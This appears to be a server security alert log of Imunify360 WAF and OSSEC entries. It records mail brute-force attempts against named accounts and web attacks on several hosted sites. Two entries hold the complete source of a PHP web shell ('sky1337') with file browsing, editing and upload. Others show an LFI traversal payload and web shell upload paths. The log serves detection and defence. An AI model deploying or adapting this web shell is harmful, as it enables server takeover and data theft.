2026-07-06 03:36:51 dovecot_login authenticator failed for H=static-200-105-141-172.acelerate.net (visaotur.sdr.gvt.net.br) [200.105.141.172]:53504: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.250
country_id: 1036973
description:
2026-07-06 03:39:06 dovecot_login authenticator failed for H=([200.149.213.242]) [197.219.228.250]:44498: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 143.198.88.50
country_id: 1880251
domain: globalgroupoman.com
description:
IM360 WAF: Possible XSS in arguments||MV:<?php\r\n\r\nerror_reporting(0);@ini_set('display_errors',0);\r\n\r\n$m=isset($_get['m'])?$_get['m']:'upload_form';\r\n\r\n// view file (php native)\r\n\r\nif($m=='view'||isset($_get['f'])){\r\n\r\n    $f=isset($_get['f'])?$_get['f']:'';\r\n\r\n    if($f&&file_exists($f)){\r\n\r\n        echo \"<html><head><style>body{background:#0a0a0a;color:#0f0;font-family:monospace;padding:20px;}pre{background:#111;padding:15px;border-radius:6px;border:1px solid #333;white-space:pre-wrap;word-wrap:break-word;}a{color:#f44;}</style></head><body>\";\r\n\r\n        echo \"<h2 style='color:#f44;'>sky1337 - \".basename($f).\"</h2>\";\r\n\r\n        echo \"<pre>\".htmlspecialchars(file_get_contents($f)).\"</pre>\";\r\n\r\n        echo \"<hr><a href='?m=ls&d=\".dirname($f).\"'>[back]</a></body></html>\";\r\n\r\n    }else{echo \"file not found\";}\r\n\r\n    exit;\r\n\r\n}\r\n\r\n\r\n\r\n// edit file\r\n\r\nif($m=='edit'&&$_server['request_method']=='post'){\r\n\r\n    $f=$_post['f'];\r\n\r\n    $c=$_post['c'];\r\n\r\n    if($f&&file_exists($f)&&is_writable($f)){\r\n\r\n        file_put_contents($f,$c);\r\n\r\n        echo \"<script>alert('saved!');location='?m=view&f=$f';</script>\";\r\n\r\n    }else{echo \"failed to save\";}\r\n\r\n    exit;\r\n\r\n}\r\n\r\n\r\n\r\n// file manager\r\n\r\nif($m=='ls'){\r\n\r\n    $d=isset($_get['d'])?$_get['d']:'.';\r\n\r\n    $real=realpath($d);\r\n\r\n    echo \"<html><head><meta charset='utf-8'><title>sky1337</title>\r\n\r\n    <style>body{background:#0a0a0a;color:#b0b0b0;font-family:monospace;padding:20px;}\r\n\r\n    a{color:#f44;text-decoration:none;}a:hover{color:#fff;}\r\n\r\n    .dir{color:#fa0;}.file{color:#888;}.w{color:#0f0;}\r\n\r\n    .nav{background:#111;padding:10px;border-radius:6px;margin:10px 0;border:1px solid #333;}\r\n\r\n    hr{border-color:#333;}\r\n\r\n    .s{font-size:11px;color:#666;}</style></head><body>\";\r\n\r\n    echo \"<h2 style='color:#f44;margin:0;'>sky1337</h2>\";\r\n\r\n    echo \"<p style='color:#666;font-size:11px;'>\".$_server['http_host'].\" | \".get_current_user().\"</p>\";\r\n\r\n    echo \"<p style='color:#fa0;'>$real</p>\";\r\n\r\n    echo \"<div class='nav'>\";\r\n\r\n    if($d!='/'){$p=dirname($d);echo \"<a href='?m=ls&d=$p'>[up]</a> \";}\r\n\r\n    echo \"<a href='?m=ls&d=.'>[home]</a> \";\r\n\r\n    echo \"<a href='?m=ls&d=/'>[/root]</a> \";\r\n\r\n    echo \"<a href='?m=ls&d=/home'>[/home]</a> \";\r\n\r\n    echo \"<a href='?m=ls&d=/var/www'>[/var/www]</a> \";\r\n\r\n    echo \"<a href='?m=ls&d=/etc'>[/etc]</a> \";\r\n\r\n    echo \"</div><hr>\";\r\n\r\n    foreach(scandir($d) as $f){\r\n\r\n        if($f=='.')continue;\r\n\r\n        $path=rtrim($d,'/').'/'.ltrim($f,'/');\r\n\r\n        $w=is_writable($path)?' <span class=\"w\">[w]</span>':'';\r\n\r\n        if(is_dir($path)){\r\n\r\n            echo \"<span class='dir'>dir</span> <a class='dir' href='?m=ls&d=$path'>$f</a>$w<br>\";\r\n\r\n        }else{\r\n\r\n            $s=filesize($path);\r\n\r\n            $sh=$s>1048576?round($s/1048576,1).'mb':($s>1024?round($s/1024,1).'kb':$s.'b');\r\n\r\n            echo \"<span class='file'>file</span> <a href='?m=view&f=$path'>$f</a> <span class='s'>$sh</span>$w<br>\";\r\n\r\n        }\r\n\r\n    }\r\n\r\n    echo \"<hr><div class='nav'><a href='?m=upload_form'>[upload]</a> | <a href='?m=info'>[info]</a></div>\";\r\n\r\n    echo \"</body></html>\";\r\n\r\n    exit;\r\n\r\n}\r\n\r\n\r\n\r\n// info\r\n\r\nif($m=='info'){\r\n\r\n    echo \"<html><head><style>body{background:#0a0a0a;color:#b0b0b0;font-family:monospace;padding:20px;}pre{background:#111;padding:15px;border-radius:6px;border:1px solid #333;}a{color:#f44;}</style></head><body>\";\r\n\r\n    echo \"<h2 style='color:#f44;'>sky1337 info</h2><pre>\";\r\n\r\n    echo \"uname: \".php_uname().\"\\n\";\r\n\r\n    echo \"user: \".get_current_user().\"\\n\";\r\n\r\n    echo \"docroot: \".$_server['document_root'].\"\\n\";\r\n\r\n    echo \"disable: \".ini_get('disable_functions').\"\\n\";\r\n\r\n    echo \"openbasedir: \".ini_get('open_basedir').\"\\n\";\r\n\r\n    echo \"server: \".$_server['server_software'].\"\\n\";\r\n\r\n    echo \"</pre><a href='?m=ls'>[files]</a> | <a href='?m=upload_form'>[upload]</a></body></html>\";\r\n\r\n    exit;\r\n\r\n}\r\n\r\n\r\n\r\n// upload form\r\n\r\nif($m=='upload_form'){\r\n\r\n    $doc=$_server['document_root']??'/var/www/html';\r\n\r\n    if(!empty($_get['path'])&&is_dir($_get['path'])){$doc=$_get['path'];}\r\n\r\n    echo \"<html><head><meta charset='utf-8'><title>sky1337 upload</title>\r\n\r\n    <style>body{background:#0a0a0a;color:#b0b0b0;font-family:monospace;padding:20px;}\r\n\r\n    form{background:#111;padding:20px;border-radius:8px;max-width:500px;border:1px solid #333;}\r\n\r\n    input,button{background:#0a0a0a;color:#e0e0e0;border:1px solid #333;padding:10px;border-radius:4px;margin:5px 0;width:100%;}\r\n\r\n    button{background:#f44;color:#fff;cursor:pointer;width:auto;font-weight:bold;}button:hover{background:#c00;}\r\n\r\n    a{color:#f44;}.info{background:#1a1a1a;padding:10px;border-radius:4px;margin:10px 0;border:1px solid #333;}</style></head><body>\r\n\r\n    <h2 style='color:#f44;'>sky1337 upload</h2>\r\n\r\n    <p><a href='?m=ls'>[files]</a> | <a href='?m=info'>[info]</a></p>\r\n\r\n    <div class='info'>docroot: $doc | writable: \".(is_writable($doc)?'<span style=\"color:#0f0;\">yes</span>':'<span style=\"color:#f00;\">no</span>').\"</div>\r\n\r\n    <form method='post' enctype='multipart/form-data' action='?m=upload'>\r\n\r\n    <input type='file' name='file' required><br>\r\n\r\n    <input type='text' name='path' value='$doc'><br>\r\n\r\n    <button type='submit'>upload</button></form></body></html>\";\r\n\r\n    exit;\r\n\r\n}\r\n\r\n\r\n\r\n// upload process\r\n\r\nif($m=='upload'&&$_server['request_method']=='post'){\r\n\r\n    $dest=$_post['path']??$_server['document_root'];\r\n\r\n    $fn=basename($_files['file']['name']);\r\n\r\n    $dp=rtrim($dest,'/').'/'.$fn;\r\n\r\n    echo \"<html><head><style>body{background:#0a0a0a;color:#b0b0b0;font-family:monospace;padding:20px;}a{color:#f44;}</style></head><body>\";\r\n\r\n    if(move_uploaded_file($_files['file']['tmp_name'],$dp)){\r\n\r\n        echo \"<h2 style='color:#0f0;'>success</h2><p>$dp</p>\";\r\n\r\n    }else{\r\n\r\n        echo \"<h2 style='color:#f00;'>failed</h2>\";\r\n\r\n    }\r\n\r\n    echo \"<br><a href='?m=upload_form'>back</a></body></html>\";\r\n\r\n    exit;\r\n\r\n}\r\n\r\n\r\n\r\n// home\r\n\r\necho \"<html><head><style>body{background:#0a0a0a;color:#b0b0b0;font-family:monospace;padding:40px;text-align:center;}a{color:#f44;font-size:16px;text-decoration:none;margin:10px;display:inline-block;padding:10px 20px;background:#111;border-radius:6px;border:1px solid #333;}a:hover{background:#222;color:#fff;}</style></head><body>\";\r\n\r\necho \"<h1 style='color:#f44;'>sky1337</h1>\";\r\n\r\necho \"<p>\".$_server['http_host'].\" | \".get_current_user().\"</p>\";\r\n\r\necho \"<a href='?m=ls'>files</a> <a href='?m=info'>info</a> <a href='?m=upload_form'>upload</a>\";\r\n\r\necho \"</body></html>\";\r\n\r\n?>||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 143.198.88.50
country_id: 1880251
domain: globalgroupoman.com
description:
IM360 WAF: PHP Injection Low value||MV:<?php\r\n\r\nerror_reporting(0);@ini_set('display_errors',0);\r\n\r\n$m=isset($_GET['m'])?$_GET['m']:'upload_form';\r\n\r\n// View File (PHP native)\r\n\r\nif($m=='view'||isset($_GET['f'])){\r\n\r\n    $f=isset($_GET['f'])?$_GET['f']:'';\r\n\r\n    if($f&&file_exists($f)){\r\n\r\n        echo \"<html><head><style>body{background:#0a0a0a;color:#0f0;font-family:monospace;padding:20px;}pre{background:#111;padding:15px;border-radius:6px;border:1px solid #333;white-space:pre-wrap;word-wrap:break-word;}a{color:#f44;}</style></head><body>\";\r\n\r\n        echo \"<h2 style='color:#f44;'>sky1337 - \".basename($f).\"</h2>\";\r\n\r\n        echo \"<pre>\".htmlspecialchars(file_get_contents($f)).\"</pre>\";\r\n\r\n        echo \"<hr><a href='?m=ls&d=\".dirname($f).\"'>[Back]</a></body></html>\";\r\n\r\n    }else{echo \"File not found\";}\r\n\r\n    exit;\r\n\r\n}\r\n\r\n\r\n\r\n// Edit File\r\n\r\nif($m=='edit'&&$_SERVER['REQUEST_METHOD']=='POST'){\r\n\r\n    $f=$_POST['f'];\r\n\r\n    $c=$_POST['c'];\r\n\r\n    if($f&&file_exists($f)&&is_writable($f)){\r\n\r\n        file_put_contents($f,$c);\r\n\r\n        echo \"<script>alert('Saved!');location='?m=view&f=$f';</script>\";\r\n\r\n    }else{echo \"Failed to save\";}\r\n\r\n    exit;\r\n\r\n}\r\n\r\n\r\n\r\n// File Manager\r\n\r\nif($m=='ls'){\r\n\r\n    $d=isset($_GET['d'])?$_GET['d']:'.';\r\n\r\n    $real=realpath($d);\r\n\r\n    echo \"<html><head><meta charset='UTF-8'><title>sky1337</title>\r\n\r\n    <style>body{background:#0a0a0a;color:#b0b0b0;font-family:monospace;padding:20px;}\r\n\r\n    a{color:#f44;text-decoration:none;}a:hover{color:#fff;}\r\n\r\n    .dir{color:#fa0;}.file{color:#888;}.w{color:#0f0;}\r\n\r\n    .nav{background:#111;padding:10px;border-radius:6px;margin:10px 0;border:1px solid #333;}\r\n\r\n    hr{border-color:#333;}\r\n\r\n    .s{font-size:11px;color:#666;}</style></head><body>\";\r\n\r\n    echo \"<h2 style='color:#f44;margin:0;'>sky1337</h2>\";\r\n\r\n    echo \"<p style='color:#666;font-size:11px;'>\".$_SERVER['HTTP_HOST'].\" | \".get_current_user().\"</p>\";\r\n\r\n    echo \"<p style='color:#fa0;'>$real</p>\";\r\n\r\n    echo \"<div class='nav'>\";\r\n\r\n    if($d!='/'){$p=dirname($d);echo \"<a href='?m=ls&d=$p'>[UP]</a> \";}\r\n\r\n    echo \"<a href='?m=ls&d=.'>[HOME]</a> \";\r\n\r\n    echo \"<a href='?m=ls&d=/'>[/ROOT]</a> \";\r\n\r\n    echo \"<a href='?m=ls&d=/home'>[/home]</a> \";\r\n\r\n    echo \"<a href='?m=ls&d=/var/www'>[/var/www]</a> \";\r\n\r\n    echo \"<a href='?m=ls&d=/etc'>[/etc]</a> \";\r\n\r\n    echo \"</div><hr>\";\r\n\r\n    foreach(scandir($d) as $f){\r\n\r\n        if($f=='.')continue;\r\n\r\n        $path=rtrim($d,'/').'/'.ltrim($f,'/');\r\n\r\n        $w=is_writable($path)?' <span class=\"w\">[W]</span>':'';\r\n\r\n        if(is_dir($path)){\r\n\r\n            echo \"<span class='dir'>DIR</span> <a class='dir' href='?m=ls&d=$path'>$f</a>$w<br>\";\r\n\r\n        }else{\r\n\r\n            $s=filesize($path);\r\n\r\n            $sh=$s>1048576?round($s/1048576,1).'MB':($s>1024?round($s/1024,1).'KB':$s.'B');\r\n\r\n            echo \"<span class='file'>FILE</span> <a href='?m=view&f=$path'>$f</a> <span class='s'>$sh</span>$w<br>\";\r\n\r\n        }\r\n\r\n    }\r\n\r\n    echo \"<hr><div class='nav'><a href='?m=upload_form'>[Upload]</a> | <a href='?m=info'>[Info]</a></div>\";\r\n\r\n    echo \"</body></html>\";\r\n\r\n    exit;\r\n\r\n}\r\n\r\n\r\n\r\n// Info\r\n\r\nif($m=='info'){\r\n\r\n    echo \"<html><head><style>body{background:#0a0a0a;color:#b0b0b0;font-family:monospace;padding:20px;}pre{background:#111;padding:15px;border-radius:6px;border:1px solid #333;}a{color:#f44;}</style></head><body>\";\r\n\r\n    echo \"<h2 style='color:#f44;'>sky1337 Info</h2><pre>\";\r\n\r\n    echo \"Uname: \".php_uname().\"\\n\";\r\n\r\n    echo \"User: \".get_current_user().\"\\n\";\r\n\r\n    echo \"DocRoot: \".$_SERVER['DOCUMENT_ROOT'].\"\\n\";\r\n\r\n    echo \"Disable: \".ini_get('disable_functions').\"\\n\";\r\n\r\n    echo \"OpenBaseDir: \".ini_get('open_basedir').\"\\n\";\r\n\r\n    echo \"Server: \".$_SERVER['SERVER_SOFTWARE'].\"\\n\";\r\n\r\n    echo \"</pre><a href='?m=ls'>[Files]</a> | <a href='?m=upload_form'>[Upload]</a></body></html>\";\r\n\r\n    exit;\r\n\r\n}\r\n\r\n\r\n\r\n// Upload Form\r\n\r\nif($m=='upload_form'){\r\n\r\n    $doc=$_SERVER['DOCUMENT_ROOT']??'/var/www/html';\r\n\r\n    if(!empty($_GET['path'])&&is_dir($_GET['path'])){$doc=$_GET['path'];}\r\n\r\n    echo \"<html><head><meta charset='UTF-8'><title>sky1337 Upload</title>\r\n\r\n    <style>body{background:#0a0a0a;color:#b0b0b0;font-family:monospace;padding:20px;}\r\n\r\n    form{background:#111;padding:20px;border-radius:8px;max-width:500px;border:1px solid #333;}\r\n\r\n    input,button{background:#0a0a0a;color:#e0e0e0;border:1px solid #333;padding:10px;border-radius:4px;margin:5px 0;width:100%;}\r\n\r\n    button{background:#f44;color:#fff;cursor:pointer;width:auto;font-weight:bold;}button:hover{background:#c00;}\r\n\r\n    a{color:#f44;}.info{background:#1a1a1a;padding:10px;border-radius:4px;margin:10px 0;border:1px solid #333;}</style></head><body>\r\n\r\n    <h2 style='color:#f44;'>sky1337 Upload</h2>\r\n\r\n    <p><a href='?m=ls'>[Files]</a> | <a href='?m=info'>[Info]</a></p>\r\n\r\n    <div class='info'>DocRoot: $doc | Writable: \".(is_writable($doc)?'<span style=\"color:#0f0;\">YES</span>':'<span style=\"color:#f00;\">NO</span>').\"</div>\r\n\r\n    <form method='POST' enctype='multipart/form-data' action='?m=upload'>\r\n\r\n    <input type='file' name='file' required><br>\r\n\r\n    <input type='text' name='path' value='$doc'><br>\r\n\r\n    <button type='submit'>UPLOAD</button></form></body></html>\";\r\n\r\n    exit;\r\n\r\n}\r\n\r\n\r\n\r\n// Upload Process\r\n\r\nif($m=='upload'&&$_SERVER['REQUEST_METHOD']=='POST'){\r\n\r\n    $dest=$_POST['path']??$_SERVER['DOCUMENT_ROOT'];\r\n\r\n    $fn=basename($_FILES['file']['name']);\r\n\r\n    $dp=rtrim($dest,'/').'/'.$fn;\r\n\r\n    echo \"<html><head><style>body{background:#0a0a0a;color:#b0b0b0;font-family:monospace;padding:20px;}a{color:#f44;}</style></head><body>\";\r\n\r\n    if(move_uploaded_file($_FILES['file']['tmp_name'],$dp)){\r\n\r\n        echo \"<h2 style='color:#0f0;'>SUCCESS</h2><p>$dp</p>\";\r\n\r\n    }else{\r\n\r\n        echo \"<h2 style='color:#f00;'>FAILED</h2>\";\r\n\r\n    }\r\n\r\n    echo \"<br><a href='?m=upload_form'>Back</a></body></html>\";\r\n\r\n    exit;\r\n\r\n}\r\n\r\n\r\n\r\n// Home\r\n\r\necho \"<html><head><style>body{background:#0a0a0a;color:#b0b0b0;font-family:monospace;padding:40px;text-align:center;}a{color:#f44;font-size:16px;text-decoration:none;margin:10px;display:inline-block;padding:10px 20px;background:#111;border-radius:6px;border:1px solid #333;}a:hover{background:#222;color:#fff;}</style></head><body>\";\r\n\r\necho \"<h1 style='color:#f44;'>sky1337</h1>\";\r\n\r\necho \"<p>\".$_SERVER['HTTP_HOST'].\" | \".get_current_user().\"</p>\";\r\n\r\necho \"<a href='?m=ls'>Files</a> <a href='?m=info'>Info</a> <a href='?m=upload_form'>Upload</a>\";\r\n\r\necho \"</body></html>\";\r\n\r\n?>||MVN:ARGS:data[content]||RSV:8.25||T:APACHE||SC:/home/globalgroupoman/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.49
country_id: 1668284
description:
2026-07-06 03:39:25 dovecot_login authenticator failed for H=([112.26.74.90]) [101.13.5.49]:46390: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77134464
name: IM360 WAF: Infectors: PHP Injection High-Risk PHP Function
abuser: 143.198.88.50
country_id: 1880251
domain: globalgroupoman.com
description:
IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||RSV:8.25||T:APACHE||SC:/home/globalgroupoman/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.72.145.38
country_id: 1835841
description:
2026-07-06 03:39:31 dovecot_login authenticator failed for H=([196.203.231.220]) [61.72.145.38]:53989: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77789665
abuser: 143.198.88.50
country_id: 1880251
domain: globalgroupoman.com
name:
IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)

description:
IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:data[layoutName]||MV:../../../../../../tmp/_skyf98da5||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.59.252.103
country_id: 1819730
description:
2026-07-06 03:43:55 dovecot_login authenticator failed for H=cm125-59-252-103.hkcable.com.hk ([220.189.253.198]) [125.59.252.103]:35689: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.227.211.82
country_id: 1269750
description:
2026-07-06 03:44:09 dovecot_login authenticator failed for H=(syn-024-180-043-126.res.spectrum.com) [110.227.211.82]:44266: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.104.166.110
country_id: 1835841
description:
2026-07-06 03:44:16 dovecot_login authenticator failed for H=([223.197.153.135]) [211.104.166.110]:50516: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.187.9.111
country_id: 298795
description:
2026-07-06 03:44:28 dovecot_login authenticator failed for H=([111.26.63.85]) [78.187.9.111]:54211: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.237.119
country_id: 99237
description:
2026-07-06 03:44:32 dovecot_login authenticator failed for H=([74.119.147.213]) [65.20.237.119]:54827: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.6.81.59
country_id: 1880251
description:
2026-07-06 03:45:13 dovecot_login authenticator failed for H=bb121-6-81-59.singnet.com.sg ([84.111.136.211]) [121.6.81.59]:54695: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 158.140.166.105
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1783289978584.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.235.110
country_id: 1269750
description:
2026-07-06 03:53:22 dovecot_login authenticator failed for H=([210.204.125.250]) [128.185.235.110]:38122: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.143.253.230
country_id: 6252001
description:
2026-07-06 03:58:30 dovecot_plain authenticator failed for H=c-76-143-253-230.hsd1.tx.comcast.net (leterighic) [76.143.253.230]:51932: 535 Incorrect authentication data (set_id=admin@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.110.42
country_id: 1269750
description:
2026-07-06 04:00:59 dovecot_login authenticator failed for H=(faculdadeunica.static.gvt.net.br) [182.95.110.42]:45276: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.200.217.128
country_id: 1835841
description:
2026-07-06 04:01:21 dovecot_login authenticator failed for H=(wsip-70-167-235-55.pn.at.cox.net) [175.200.217.128]:60494: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.67.161.64
country_id: 2661886
description:
2026-07-06 04:02:21 dovecot_login authenticator failed for H=78-67-161-64-no2550.tbcn.telia.com (static.ill.117.250.19.91.bsnl.co.in) [78.67.161.64]:52796: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.16.192.32
country_id: 1835841
description:
2026-07-06 04:02:59 dovecot_login authenticator failed for H=([218.94.115.164]) [59.16.192.32]:59328: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.12.179
country_id: 1269750
description:
2026-07-06 04:03:27 dovecot_login authenticator failed for H=([175.200.217.128]) [128.185.12.179]:58826: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-06 04:03:49 dovecot_login authenticator failed for H=([120.195.26.54]) [188.122.37.97]:60844: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 158.140.170.36
country_id: 1643084
domain: www.globalgroupoman.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1783290826935.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.88.108.12
country_id: 6252001
description:
2026-07-06 04:03:55 dovecot_login authenticator failed for H=([196.207.177.56]) [70.88.108.12]:55705: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.153.187.49
country_id: 1835841
description:
2026-07-06 04:04:17 dovecot_login authenticator failed for H=(125-228-239-89.hinet-ip.hinet.net) [124.153.187.49]:45567: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.44.113.143
country_id: 798544
description:
2026-07-06 04:04:21 dovecot_login authenticator failed for H=([184.170.245.145]) [191.44.113.143]:21822: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.146.111
country_id: 1819730
description:
2026-07-06 04:07:49 dovecot_login authenticator failed for H=(93-122-239-57.orangero.net) [223.197.146.111]:57536: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.171.125.179
country_id: 587116
description:
2026-07-06 04:10:12 dovecot_login authenticator failed for H=([125.215.199.37]) [31.171.125.179]:34773: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.229.110
country_id: 1269750
description:
2026-07-06 04:10:16 dovecot_login authenticator failed for H=([207.254.28.5]) [182.95.229.110]:38186: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 167.250.118.3
country_id: 3865483
description:
2026-07-06 04:10:29 dovecot_login authenticator failed for H=([199.58.185.11]) [167.250.118.3]:38542: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.62.74.41
country_id: 1527747
description:
2026-07-06 04:09:54 dovecot_login authenticator failed for H=([190.197.31.229]) [92.62.74.41]:44538: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 103.240.99.156
country_id: 1269750
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://delhi.delhihotelsqueen.com/call-girl-in-jubilee-hills.html\">Jubilee Hills Call Girl</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.106
country_id: 1269750
description:
2026-07-06 04:10:34 dovecot_login authenticator failed for H=(dynamic-adsl.movitel.co.mz) [182.95.228.106]:49144: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-07-06 04:10:51 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:55202: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.144.79.102
country_id: 1269750
description:
2026-07-06 04:13:19 dovecot_login authenticator failed for H=(110-25-107-172.adsl.fetnet.net) [59.144.79.102]:58802: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.105.240
country_id: 1668284
description:
2026-07-06 04:13:43 dovecot_login authenticator failed for H=110-25-105-240.adsl.fetnet.net ([199.229.254.131]) [110.25.105.240]:33409: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.134.7.30
country_id: 241170
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://meneercasino.com/slot-reviews/rainbow-riches\">viagra zarna</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.53.82
country_id: 1733045
description:
2026-07-06 04:17:14 dovecot_login authenticator failed for H=([112.28.73.142]) [183.171.53.82]:60168: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.187.21
country_id: 337996
description:
2026-07-06 04:17:32 dovecot_login authenticator failed for H=(186-201-12-209.customer.tdatabrasil.net.br) [196.188.187.21]:35166: 535 Incorrect authentication data (set_id=khalid)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://hvac-ac-repair-northampton-ma.zzz-1.com/\">homepage</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.8.97
country_id: 1835841
description:
2026-07-06 04:21:14 dovecot_login authenticator failed for H=([120.195.50.149]) [218.156.8.97]:41966: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.31.215
country_id: 2661886
description:
2026-07-06 04:21:45 dovecot_login authenticator failed for H=h-155-4-31-215.a2204.priv.bahnhof.se (223-197-153-143.static.imsbiz.com) [155.4.31.215]:38110: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 85.204.70.88
country_id: 3017382
domain: apkmetal.in
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.25||T:APACHE||MV:/wp-json/wp/v2/users/||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.167.235.133
country_id: 6252001
description:
2026-07-06 04:26:20 dovecot_login authenticator failed for H=wsip-70-167-235-133.pn.at.cox.net ([94.183.59.33]) [70.167.235.133]:38836: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.34
country_id: 1668284
description:
2026-07-06 04:26:10 dovecot_login authenticator failed for H=([49.124.151.81]) [101.13.5.34]:46198: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.59.252.103
country_id: 1819730
description:
